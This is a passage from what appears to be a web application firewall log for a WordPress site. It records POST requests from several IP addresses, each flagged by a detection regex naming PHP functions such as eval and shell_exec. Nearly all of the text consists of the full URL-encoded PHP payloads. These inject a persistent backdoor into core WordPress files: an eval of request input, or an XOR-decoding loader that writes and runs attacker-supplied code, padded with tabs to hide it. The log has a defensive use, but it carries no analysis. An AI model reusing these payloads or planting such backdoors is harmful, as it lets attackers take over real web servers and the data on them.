\/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3872\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"macOS\"\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 11:57:11","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3849\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nwz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:57:28","212.87.197.20","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:2035\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\ndk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:57:57","103.145.5.35","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:2035\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\naH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:58:25","95.216.28.151","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLyVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:2035\n\nbR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
